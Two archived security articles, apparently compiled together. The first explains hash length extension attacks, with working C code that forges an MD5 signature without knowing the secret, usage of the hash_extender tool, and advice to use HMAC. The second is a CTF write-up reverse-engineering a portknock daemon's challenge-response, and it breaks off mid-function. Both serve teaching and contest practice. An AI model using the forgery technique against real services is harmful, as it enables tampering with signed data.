src='http://hyperpolyglot.org/data:image/png;base64,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'
width='24' height='24' />

# SkullSecurity » Blog Archive » Everything you need to know about hash length
extension attacks

**Created:**| _10/30/2012 10:43:07 AM_  
---|---  
**Updated:**| _10/30/2012 10:43:07 AM_  
**Author:**| __  
**Tags:**| _hashes crypto_  
  

## Everything you need to know about hash length extension attacks

Filed under: Crypto, Hacking, Tools

**You can grab the hash\_extender tool onGithub\!**

\(Administrative note: I'm no longer at Tenable\! I left on good terms, and
now I'm a consultant at Leviathan Security Group. Feel free to contact me if
you need more information\!\)

Awhile back, my friend @mogigoma and I were doing a capture-the-flag contest
at https://stripe-ctf.com. One of the levels of the contest required us to
perform a hash length extension attack. I had never even heard of the attack
at the time, and after some reading I realized that not only is it a super
cool \(and conceptually easy\!\) attack to perform, there is also a total lack
of good tools for performing said attack\! After hours of adding the wrong
number of null bytes or incorrectly adding length values, I vowed to write a
tool to make this easy for myself and anybody else who's trying to do it. So,
after a couple weeks of work, here it is\!

Now I'm gonna release the tool, and hope I didn't totally miss a good tool
that does the same thing\! It's called hash\_extender, and implements a length
extension attack against every algorithm I could think of:

  * MD4
  * MD5
  * RIPEMD-160
  * SHA-0
  * SHA-1
  * SHA-256
  * SHA-512
  * WHIRLPOOL

I'm more than happy to extend this to cover other hashing algorithms as well,
provided they are "vulnerable" to this attack — MD2, SHA-224, and SHA-384 are
not. Please contact me if you have other candidates and I'll add them ASAP\!

## The attack

An application is susceptible to a hash length extension attack if it prepends
a secret value to a string, hashes it with a vulnerable algorithm, and
entrusts the attacker with both the string and the hash, but not the secret.
Then, the server relies on the secret to decide whether or not the data
returned later is the same as the original data.

It turns out, even though the attacker doesn't know the value of the prepended
secret, he can still generate a valid hash for _\{secret || data ||
attacker\_controlled\_data\}_\! This is done by simply picking up where the
hashing algorithm left off; it turns out, 100% of the state needed to continue
a hash is in the output of most hashing algorithms\! We simply load that state
into the appropriate hash structure and continue hashing.

**TL;DR: given a hash that is composed of a string with an unknown prefix, an
attacker can append to the string and produce a new hash that still has the
unknown prefix.**

## Example

Let's look at a step-by-step example. For this example:

  * let _secret = "secret"_
  * let _data = "data"_
  * let _H = md5\(\)_
  * let _signature = hash\(secret || data\) = 6036708eba0d11f6ef52ad44e8b74d5b_
  * let _append = "append"_

The server sends _data_ and _signature_ to the attacker. The attacker guesses
that _H_ is MD5 simply by its length \(it's the most common 128-bit hashing
algorithm\), based on the source, or the application's specs, or any way they
are able to.

Knowing only _data_ , _H_ , and _signature_ , the attacker's goal is to append
_append_ to _data_ and generate a valid signature for the new data. And that's
easy to do\! Let's see how.

### Padding

Before we look at the actual attack, we have to talk a little about padding.

When calculating _H_\(_secret_ \+ _data_\), the string \(_secret_ \+ _data_\)
is padded with a '1' bit and some number of '0' bits, followed by the length
of the string. That is, in hex, the padding is a 0x80 byte followed by some
number of 0x00 bytes and then the length. The number of 0x00 bytes, the number
of bytes reserved for the length, and the way the length is encoded, depends
on the particular algorithm and blocksize.

With most algorithms \(including MD4, MD5, RIPEMD-160, SHA-0, SHA-1, and
SHA-256\), the string is padded until its length is congruent to 56 bytes
\(mod 64\). Or, to put it another way, it's padded until the length is 8 bytes
less than a full \(64-byte\) block \(the 8 bytes being size of the encoded
length field\). There are two hashes implemented in hash\_extender that don't
use these values: SHA-512 uses a 128-byte blocksize and reserves 16 bytes for
the length field, and WHIRLPOOL uses a 64-byte blocksize and reserves 32 bytes
for the length field.

The endianness of the length field is also important. MD4, MD5, and RIPEMD-160
are little-endian, whereas the SHA family and WHIRLPOOL are big-endian. Trust
me, that distinction cost me days of work\!

In our example, _length\(secret || data\) = length\( "secretdata"\)_ is 10
\(0x0a\) bytes, or 80 \(0x50\) bits. So, we have 10 bytes of data \(_"
secretdata"_\), 46 bytes of padding \(80 00 00 ...\), and an 8-byte little-
endian length field \(50 00 00 00 00 00 00 00\), for a total of 64 bytes \(or
one block\). Put together, it looks like this:

[code]

      0000  73 65 63 72 65 74 64 61 74 61 80 00 00 00 00 00  secretdata......
      0010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
      0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
      0030  00 00 00 00 00 00 00 00 50 00 00 00 00 00 00 00  ........P.......
    
[/code]

Breaking down the string, we have:

  * _" secret" = secret_
  *  _" data" = data_
  * 80 00 00 ... — The 46 bytes of padding, starting with 0x80
  * 50 00 00 00 00 00 00 00 — The bit length in little endian

This is the exact data that _H_ hashed in the original example.

### The attack

Now that we have the data that _H_ hashes, let's look at how to perform the
actual attack.

First, let's just append _append_ to the string. Easy enough\! Here's what it
looks like:

[code]

      0000  73 65 63 72 65 74 64 61 74 61 80 00 00 00 00 00  secretdata......
      0010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
      0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
      0030  00 00 00 00 00 00 00 00 50 00 00 00 00 00 00 00  ........P.......
      0040  61 70 70 65 6e 64                                append
    
[/code]

The hash of that block is what we ultimately want to a\) calculate, and b\)
get the server to calculate. The value of that block of data can be calculated
in two ways:

  * By sticking it in a buffer and performing _H\(buffer\)_
  * By starting at the end of the first block, using the state we already know from _signature_ , and hashing _append_ starting from that state

The first method is what the server will do, and the second is what the
attacker will do. Let's look at the server, first, since it's the easier
example.

#### Server's calculation

We know the server will prepend _secret_ to the string, so we send it the
string minus the _secret_ value:

[code]

      0000  64 61 74 61 80 00 00 00 00 00 00 00 00 00 00 00  data............
      0010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
      0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
      0030  00 00 50 00 00 00 00 00 00 00 61 70 70 65 6e 64  ..P.......append
    
[/code]

Don't be fooled by this being exactly 64 bytes \(the blocksize\) — that's only
happening because _secret_ and _append_ are the same length. Perhaps I
shouldn't have chosen that as an example, but I'm not gonna start over\!

The server will prepend _secret_ to that string, creating:

[code]

      0000  73 65 63 72 65 74 64 61 74 61 80 00 00 00 00 00  secretdata......
      0010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
      0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
      0030  00 00 00 00 00 00 00 00 50 00 00 00 00 00 00 00  ........P.......
      0040  61 70 70 65 6e 64                                append
    
[/code]

And hashes it to the following value:

[code]

      6ee582a1669ce442f3719c47430dadee
    
[/code]

For those of you playing along at home, you can prove this works by copying
and pasting this into a terminal:

[code]

      echo '
      #include <stdio.h>
      #include <openssl/md5.h>
    
      int main(int argc, const char *argv[])
      {
        MD5_CTX c;
        unsigned char buffer[MD5_DIGEST_LENGTH];
        int i;
    
        MD5_Init(&c);
        MD5_Update(&c, "secret", 6);
        MD5_Update(&c, "data"
                       "\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                       "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                       "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
                       "\x00\x00\x00\x00"
                       "\x50\x00\x00\x00\x00\x00\x00\x00"
                       "append", 64);
        MD5_Final(buffer, &c);
    
        for (i = 0; i < 16; i++) {
          printf("%02x", buffer[i]);
        }
        printf("\n");
        return 0;
      }' > hash_extension_1.c
    
      gcc -o hash_extension_1 hash_extension_1.c -lssl -lcrypto
    
      ./hash_extension_1
    
[/code]

All right, so the server is going to be checking the data we send against the
signature _6ee582a1669ce442f3719c47430dadee_. Now, as the attacker, we need to
figure out how to generate that signature\!

#### Client's calculation

So, how do we calculate the hash of the data shown above without actually
having access to _secret_?

Well, first, we need to look at what we have to work with: _data_ , _append_ ,
_H_ , and _H\(secret || data\)_.

We need to define a new function, _H′_ , which uses the same hashing algorithm
as _H_ , but whose starting state is the final state of _H\(secret || data\)_
, i.e., _signature_. Once we have that, we simply calculate _H′\(append\)_ and
the output of that function is our hash. It sounds easy \(and is\!\); have a
look at this code:

[code]

      echo '
      #include <stdio.h>
      #include <openssl/md5.h>
    
      int main(int argc, const char *argv[])
      {
        int i;
        unsigned char buffer[MD5_DIGEST_LENGTH];
        MD5_CTX c;
    
        MD5_Init(&c);
        MD5_Update(&c, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 64);
    
        c.A = htonl(0x6036708e); /* <-- This is the hash we already had */
        c.B = htonl(0xba0d11f6);
        c.C = htonl(0xef52ad44);
        c.D = htonl(0xe8b74d5b);
    
        MD5_Update(&c, "append", 6); /* This is the appended data. */
        MD5_Final(buffer, &c);
        for (i = 0; i < 16; i++) {
          printf("%02x", buffer[i]);
        }
        printf("\n");
        return 0;
      }' > hash_extension_2.c
    
      gcc -o hash_extension_2 hash_extension_2.c -lssl -lcrypto
    
      ./hash_extension_2
    
[/code]

The the output is, just like before:

[code]

      6ee582a1669ce442f3719c47430dadee
    
[/code]

So we know the signature is right. The difference is, we didn't use _secret_
at all\! What's happening\!?

Well, we create a _MD5\_CTX_ structure from scratch, just like normal. Then we
take the MD5 of 64 'A's. We take the MD5 of a full \(64-byte\) block of 'A's
to ensure that any internal values — other than the state of the hash itself —
are set to what we expect.

Then, after that is done, we replace _c.A_ , _c.B_ , _c.C_ , and _c.D_ with
the values that were found in _signature_ :
_6036708eba0d11f6ef52ad44e8b74d5b_. This puts the MD5\_CTX structure in the
same state as it finished in originally, and means that anything else we hash
— in this case _append_ — will produce the same output as it would have had we
hashed it the usual way.

We use _htonl\(\)_ on the values before setting the state variables because
MD5 — being little-endian — outputs its values in little-endian as well.

#### Result

So, now we have this string:

[code]

      0000  64 61 74 61 80 00 00 00 00 00 00 00 00 00 00 00  data............
      0010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
      0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
      0030  00 00 50 00 00 00 00 00 00 00 61 70 70 65 6e 64  ..P.......append
    
[/code]

And this signature for _H\(secret || data || append\)_ :

[code]

      6ee582a1669ce442f3719c47430dadee
    
[/code]

And we can generate the signature without ever knowing what the secret was\!
So, we send the string to the server along with our new signature. The server
will prepend the signature, hash it, and come up with the exact same hash we
did \(victory\!\).

## The tool

**You can grab the hash\_extender tool onGithub\!**

This example took me hours to write. Why? Because I made about a thousand
mistakes writing the code. Too many NUL bytes, not enough NUL bytes, wrong
endianness, wrong algorithm, used bytes instead of bits for the length, and
all sorts of other stupid problems. The first time I worked on this type of
attack, I spent from 2300h till 0700h trying to get it working, and didn't
figure it out till after sleeping \(and with Mak's help\). And don't even get
me started on how long it took to port this attack to MD5. Endianness can die
in a fire.

Why is it so difficult? Because this is crypto, and crypto is _immensely_
complicated and notoriously difficult to troubleshoot. There are lots of
moving parts, lots of side cases to remember, and it's never clear why
something is wrong, just that the result isn't right. What a pain\!

So, I wrote hash\_extender. hash\_extender is \(I hope\) the first free tool
that implements this type of attack. It's easy to use and implements this
attack for every algorithm I could think of.

Here's an example of its use:

[code]

      $ ./hash_extender --data data --secret 6 --append append --signature 6036708eba0d11f6ef52ad44e8b74d5b --format md5
      Type: md5
      Secret length: 6
      New signature: 6ee582a1669ce442f3719c47430dadee
      New string: 64617461800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005000000000000000617070656e64
    
[/code]

If you're unsure about the hash type, you can let it try different types by
leaving off the --format argument. I recommend using the --table argument as
well if you're trying multiple algorithms:

[code]

      $ ./hash_extender --data data --secret 6 --append append --signature 6036708eba0d11f6ef52ad44e8b74d5b --out-data-format html --table
      md4       89df68618821cd4c50dfccd57c79815b data80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000P00000000000000append
      md5       6ee582a1669ce442f3719c47430dadee data80000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000P00000000000000append
    
[/code]

There are plenty of options for how you format inputs and outputs, including
HTML \(where you use _%NN_ notation\), CString \(where you use _\xNN_
notation, as well as _\r_ , _\n_ , _\t_ , etc.\), hex \(such as how the hashes
were specified above\), etc.

By default I tried to choose what I felt were the most reasonable options:

  * Input data: raw
  * Input hash: hex
  * Output data: hex
  * Output hash: hex

Here's the help page for reference:

[code]

    --------------------------------------------------------------------------------
    HASH EXTENDER
    --------------------------------------------------------------------------------
    
    By Ron Bowes 
[/code]

See LICENSE.txt for license information. Usage: ./hash\_extender <\--data=

|--file=

> \--signature=
\--format=

\[options\] INPUT OPTIONS -d --data=

The original string that we're going to extend. \--data-format=

The format the string is being passed in as. Default: raw. Valid formats: raw,
hex, html, cstr \--file=

As an alternative to specifying a string, this reads the original string as a
file. -s --signature=

The original signature. \--signature-format=

The format the signature is being passed in as. Default: hex. Valid formats:
raw, hex, html, cstr -a --append=

The data to append to the string. Default: raw. \--append-format=

Valid formats: raw, hex, html, cstr -f --format=

\[REQUIRED\] The hash\_type of the signature. This can be given multiple times
if you want to try multiple signatures. 'all' will base the chosen types off
the size of the signature and use the hash\(es\) that make sense. Valid types:
md4, md5, ripemd160, sha, sha1, sha256, sha512, whirlpool -l --secret=

The length of the secret, if known. Default: 8. \--secret-min=

\--secret-max=

Try different secret lengths \(both options are required\) OUTPUT OPTIONS
\--table Output the string in a table format. \--out-data-format=

Output data format. Valid formats: none, raw, hex, html, html-pure, cstr,
cstr-pure, fancy \--out-signature-format=

Output signature format. Valid formats: none, raw, hex, html, html-pure, cstr,
cstr-pure, fancy OTHER OPTIONS -h --help Display the usage \(this\). \--test
Run the test suite. -q --quiet Only output what's absolutely necessary \(the
output string and the signature\)

## Defense

So, as a programmer, how do you solve this? It's actually pretty simple. There
are two ways:

  * Don't trust a user with encrypted data or signatures, if you can avoid it.
  * If you can't avoid it, then use HMAC instead of trying to do it yourself. HMAC is _designed_ for this.

HMAC is the real solution. HMAC is designed for securely hashing data with a
secret key.

As usual, use constructs designed for what you're doing rather than doing it
yourself. The key to all crypto\! \[pun intended\]

**And finally, you can grab the hash\_extender tool onGithub\!**

# Static analysis of CySCA 2014 portknock using Hopper Disassembler - Reverse
engineering and potatoes

**Created:**| _6/30/2014 2:05:32 PM_  
---|---  
**Updated:**| _6/30/2014 2:05:32 PM_  
**Author:**| __  
**Tags:**| _asm analysis static_  
  

# Static analysis of CySCA 2014 portknock using Hopper Disassembler

CySCA is a Capure The Flag with challenges ranging from crypto to reverse
engineering, and from forensic to web pentest. You can get all the challenges
in a VM, or just the binary. `(md5: 488f866ad090d0843657f322e516168a)`

We’re going to analyze the second reverse engineering challenge, and try to
capture the flag. As an added difficulty, we’re going to restrict ourselves to
static analysis. This means no logs, no debugger, only disassembly.

## First recon

Let’s see what we can get without diving into disassembly.

[code]

    $ file 488f866ad090d0843657f322e516168a-re02 
    488f866ad090d0843657f322e516168a-re02: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=89593421780a0407b46f8d9c7671368699003cc9, stripped
    
[/code]

Nothing fancy here, but the symbols are stripped.

Let’s look at the library functions used.

[code]

    $ readelf -r 488f866ad090d0843657f322e516168a-re02 
    
    Relocation section '.rel.dyn' at offset 0x5c8 contains 1 entries:
     Offset     Info    Type            Sym.Value  Sym. Name
    0804aff0  00001406 R_386_GLOB_DAT    00000000   __gmon_start__
    
    Relocation section '.rel.plt' at offset 0x5d0 contains 34 entries:
     Offset     Info    Type            Sym.Value  Sym. Name
    0804b000  00000107 R_386_JUMP_SLOT   00000000   setsockopt
    0804b004  00000207 R_386_JUMP_SLOT   00000000   read
    0804b008  00000307 R_386_JUMP_SLOT   00000000   printf
    0804b00c  00000407 R_386_JUMP_SLOT   00000000   fgets
    0804b010  00000507 R_386_JUMP_SLOT   00000000   fclose
    0804b014  00000607 R_386_JUMP_SLOT   00000000   inet_ntoa
    0804b018  00000707 R_386_JUMP_SLOT   00000000   signal
    0804b01c  00000807 R_386_JUMP_SLOT   00000000   chdir
    0804b020  00000907 R_386_JUMP_SLOT   00000000   alarm
    0804b024  00000a07 R_386_JUMP_SLOT   00000000   __stack_chk_fail
    0804b028  00000b07 R_386_JUMP_SLOT   00000000   getuid
    0804b02c  00000c07 R_386_JUMP_SLOT   00000000   htons
    0804b030  00000d07 R_386_JUMP_SLOT   00000000   perror
    0804b034  00000e07 R_386_JUMP_SLOT   00000000   accept
    0804b038  00000f07 R_386_JUMP_SLOT   00000000   waitpid
    0804b03c  00001007 R_386_JUMP_SLOT   00000000   fread
    0804b040  00001107 R_386_JUMP_SLOT   00000000   chroot
    0804b044  00001207 R_386_JUMP_SLOT   00000000   setgid
    0804b048  00001307 R_386_JUMP_SLOT   00000000   puts
    0804b04c  00001407 R_386_JUMP_SLOT   00000000   __gmon_start__
    0804b050  00001507 R_386_JUMP_SLOT   00000000   exit
    0804b054  00001607 R_386_JUMP_SLOT   00000000   __libc_start_main
    0804b058  00001707 R_386_JUMP_SLOT   00000000   write
    0804b05c  00001807 R_386_JUMP_SLOT   00000000   bind
    0804b060  00001907 R_386_JUMP_SLOT   00000000   getgid
    0804b064  00001a07 R_386_JUMP_SLOT   00000000   fopen
    0804b068  00001b07 R_386_JUMP_SLOT   00000000   __errno_location
    0804b06c  00001c07 R_386_JUMP_SLOT   00000000   fork
    0804b070  00001d07 R_386_JUMP_SLOT   00000000   listen
    0804b074  00001e07 R_386_JUMP_SLOT   00000000   setuid
    0804b078  00001f07 R_386_JUMP_SLOT   00000000   vsnprintf
    0804b07c  00002007 R_386_JUMP_SLOT   00000000   socket
    0804b080  00002107 R_386_JUMP_SLOT   00000000   close
    0804b084  00002207 R_386_JUMP_SLOT   00000000   send
    
[/code]

Interesting. We can bet on a network daemon that’s self-contained. It’s also
certainly dropping its privileges, since it uses `setuid`, `setgid` and
`chroot`.

We can confirm our assumptions by looking at the strings in the executable.

[code]

    $ strings 488f866ad090d0843657f322e516168a-re02 | tail -f
    Failed writing to socket
    Failed reading from socket
    Failed writing flag to socket
    FATAL ERROR bad knock number
    FATAL ERROR opening socket
    FATAL ERROR on binding
    FATAL ERROR on accept
    /dev/urandom
    ERROR: Unable to open urandom
    ;*2$"
    
[/code]

Again, mostly network stuff. If we take a look at the rest of the output, we
notice `/flags.txt`. The flag we’re after should be on the filesystem.

## Disassembly

Now for the juicy parts. I’m using Hopper Disassembler for easy cross-
references, renaming, etc, but you can follow along in gdb, IDA, radare or
your custom mess of python scripts if you prefer.

After loading the executable in hopper, it’s correctly identified as 32 bits
ELF. The entry point looks like this:

<img src='img/Temp2_7706.png' />

It’s a i386 executable, so the arguments are passed using the cdecl
convention. This means that arguments are pushed on the stack in reverse
order. The first argument of `__libc_start_main` is the address of `main`,
thus `0x8049180`. In hopper, highlight it and press `N` to rename it to
something more meaningful. Then jump to its disassembly by pressing enter.

Our `main` calls two functions, `sub_80489f4` and `sub_8048f9a`.

Taking a quick look at the library functions and the strings used in the first
function, we can guess it’s just dropping privileges. We don’t need to
understand its inner-working in the details.

After renaming the privilege-dropping function, `main` looks like this:

<img src='img/Temp2_7704.png' />

Let’s jump to the next function, `sub_8048f9a`. Since the control flow is more
complex than `main`, hopper’s graph-view comes in handy:

<img src='img/Temp2_7707.png' />

This looks like an infinite loop, since the last block unconditionnaly `jmp`
up. The error handling is pretty bare bone and is handled by several block
calling `exit`.

The first block is setting up a `socket`, and the next blocks call `bind`,
`listen` and `accept`. The daemon is thus listening for connections.

The port `bind`ed by the server is set with the following disassembly:

|

[code]

    08049047         mov        eax, dword [ds:0x8049ac4]        ; load port number from DATA segment into eax
    0804904c         movzx      eax, ax                          ; truncate the higher bits (a port number is 16 bits)
    0804904f         mov        dword [ss:esp], eax              ; put eax on top of the stack, as first argument of the next call
    08049052         call       htons@PLT                        ; convert the port to network byte order (big endian)
    08049057         mov        word [ss:ebp-0x68+var_62], ax    ; store it on the stack, at the offset represented by var_62
    0804905b         mov        dword [ss:ebp-0x68+var_44], 0x1
    08049062         mov        dword [ss:esp+0x10], 0x4
    0804906a         lea        eax, dword [ss:ebp-0x68+var_44]
    0804906d         mov        dword [ss:esp+0xc], eax
    08049071         mov        dword [ss:esp+0x8], 0x2
    08049079         mov        dword [ss:esp+0x4], 0x1
    08049081         mov        eax, dword [ss:ebp-0x68+var_48]
    08049084         mov        dword [ss:esp], eax
    08049087         call       setsockopt@PLT
    0804908c         mov        dword [ss:esp+0x8], 0x10
    08049094         lea        eax, dword [ss:ebp-0x68+var_60] ; address of the var_60 buffer (a struct sockaddr)
    08049097         mov        dword [ss:esp+0x4], eax
    0804909b         mov        eax, dword [ss:ebp-0x68+var_48]
    0804909e         mov        dword [ss:esp], eax
    080490a1         call       bind@PLT                        ; call bind with the sockaddr
[/code]  
---|---  
`bind` takes a `struct sockaddr *` that contains, among other things, the
network port.

|

[code]

    struct sockaddr_in 
            short   sin_family
            u_short sin_port
    
[/code]  
---|---  
We can see that the `sockaddr` is built on the stack by copying values at
different offsets. The `sockaddr` begins at `var_60`, and the port is stored
at `var_62`, since a short is two bytes long.

The port value used by the disassembly is stored at `0x8049ac4`. In hopper, go
to that address, and right-click the value to switch its representation to
decimal. The port used is 3422.

We can confirm this assumption by netcating to the VM, and check if the port
is open:

[code]

    $ nc -v 192.168.0.104 3422
    Ncat: Version 6.45 ( http://nmap.org/ncat )
    Ncat: Connected to 192.168.0.104:3422.
    "^DNcat: 0 bytes sent, 4 bytes received in 0.61 seconds.
    
[/code]

Accepted connections get their own `fork`ed process, handled by the next
undiscovered function, `sub_80491f4`. The parent process just stay in the
`accept-then-fork` loop.

* * *
This function does the real work of the portknock, so we’re going to analyze
it in more details, using hopper’s decompiler.

Unfortunately we need to help it a bit here. In the disassembly `call
0x80491c5`, the address isn’t recognized as a procedure. If we get to its
disassembly try to guess why:

[code]

    080491c0         call       exit@PLT
    080491c5         push       ebp                         ;  <= The address called from the previous function
    080491c6         mov        ebp, esp
    080491c8         sub        esp, 0x18
    080491cb         mov        eax, dword [ss:ebp-0x18+arg_offset_x0]
    080491ce         mov        dword [ds:0x804b090], eax
    080491d3         mov        dword [ss:esp+0x4], 0x804919c
    080491db         mov        dword [ss:esp], 0xe
    080491e2         call       signal@PLT
    080491e7         mov        eax, dword [ss:ebp-0x18+arg_offset_x4]
    080491ea         mov        dword [ss:esp], eax
    080491ed         call       alarm@PLT
    080491f2         leave      
    080491f3         ret        
    
[/code]

The previous instruction is a call to `exit`. Since `exit` never returns, the
compiler didn’t generate a function epilogue. Since hopper doesn’t know that
the function has ended, it extends the procedure to the next epilogue, at
`0x080491f2`.

To get the decompilation to work accurately, mark `0x080491c5` as a procedure.
Doing so, the previous function doesn’t see any epilogue anymore, so mark
`sub_804919c` as a procedure again.

We can finally use the pseudo-code feature of Hopper on the portknock function
and all its subfunctions:

[code]

    function sub_80491f4 {
        var_36 = arg_offset_x0;
        eax = puts@PLT("portknockd: New Client. Waiting for knocks");
        var_32 = 0x0;
        while (var_32 <= 0x4) {
                sub_80491c5(var_36, 0xa);
                var_28 = sub_8049616(var_36, 0x98d2);
                var_40 = write@PLT(var_36, &var_28, 0x4);
                if (var_40 != 0x4) {
                        perror@PLT("Failed writing to socket");
                        close@PLT(var_36);
                        exit@PLT(0x1);
                }
                var_24 = 0x0;
                var_40 = read@PLT(var_36, &var_24, 0x4);
                if (var_40 != 0x4) {
                        perror@PLT("Failed reading from socket");
                        close@PLT(var_36);
                        exit@PLT(0x1);
                }
                var_44 = sub_80495e4(var_28, var_32);
                if (var_44 == var_24) {
                        if (var_32 == 0x4) {
                                sub_804935d(var_36);
                                close@PLT(var_36);
                                exit@PLT(0x1);
                        }
                        close@PLT(var_36);
                        eax = sub_8049440(var_32);
                        var_36 = eax;
                        var_32 = var_32 + 0x1;
                }
                else {
                        close@PLT(var_36);
                        eax = exit@PLT(0x1);
                }
        }
        return eax;
    }
    
[/code]

The only argument passed from the previous function is the connection’s file
descriptor, and is saved into `var_36`. After printing an informative message,
the loop starts. The programmer certainly wrote a simple `for(int var_32 = 0;
var_32 <= 4; var32++)`, but since some statements are re-ordered by the
compiler, it’s a bit harder to see.

Hint: `sub_80491c5(var_36, 0xa)` sets a time-out on the process handling the
connection. You can safely ignore it for the purpose of the analysis.

`sub_8049616` generates a 4 bytes value \(`var_28`\) that is sent to the open
connection using `write`. The response is `read` \(into `var_24`\). The next
function called, `sub_80495e4`, uses the loop counter \(`var_32`\) and the
value generated previously \(`var_28`\) to create a value that should match
the value `read` from the network. If the values don’t match, the process
calls `exit`.

This is a simple challenge-response. We don’t need to analyze the function
creating the value, since that value is send to us. We only need to understand
how that value and the loop counter are mixed together, replicate it and make
the portknock succeed.

Here’s the code for the mixing function, `sub_80495e4`:

[code]

    function sub_80495e4 {
        if ((arg_offset_x4 & 0x1) == 0x0) {
            var_12 = (arg_offset_x4 + 0x2) * arg_offset_x0;
        }
        else {
            var_12 = 0x2 + arg_offset_x0 + arg_offset_x4;
        }
        eax = var_12;
        return eax;
    }
    
[/code]

Pretty simple. It takes the second argument \(`arg_offset_x4`, the counter\)
and checks if its lower bit is set. Depending on the result, the mixing
operation on the random value is different.

Let’s rewrite it to python:

[code]

    def mangler(rand, counter):
        if counter & 0x1 == 0x0:
            return (counter + 2) * rand
        else:
            return 2 + counter + rand
    
[/code]

If the response we send match the awaited response, the connection is `close`d
and `sub_8049440` is called.

[code]

    function sub_8049440 {
        var_92 = *0x14;
        signal@PLT(0xd, 0x1);
        if (arg_offset_x0 > 0x3) {
                perror@PLT("FATAL ERROR bad knock number");
                exit@PLT(0x1);
        }
        arg_offset_x0 = arg_offset_x0 + 0x1;
        var_52 = socket@PLT(0x2, 0x1, 0x0);
        if (var_52 < 0x0) {
                perror@PLT("FATAL ERROR opening socket");
                exit@PLT(0x1);
        }
        var_60 = 0x0;
        *(&var_60 + 0x4) = 0x0;
        *(&var_60 + 0x8) = 0x0;
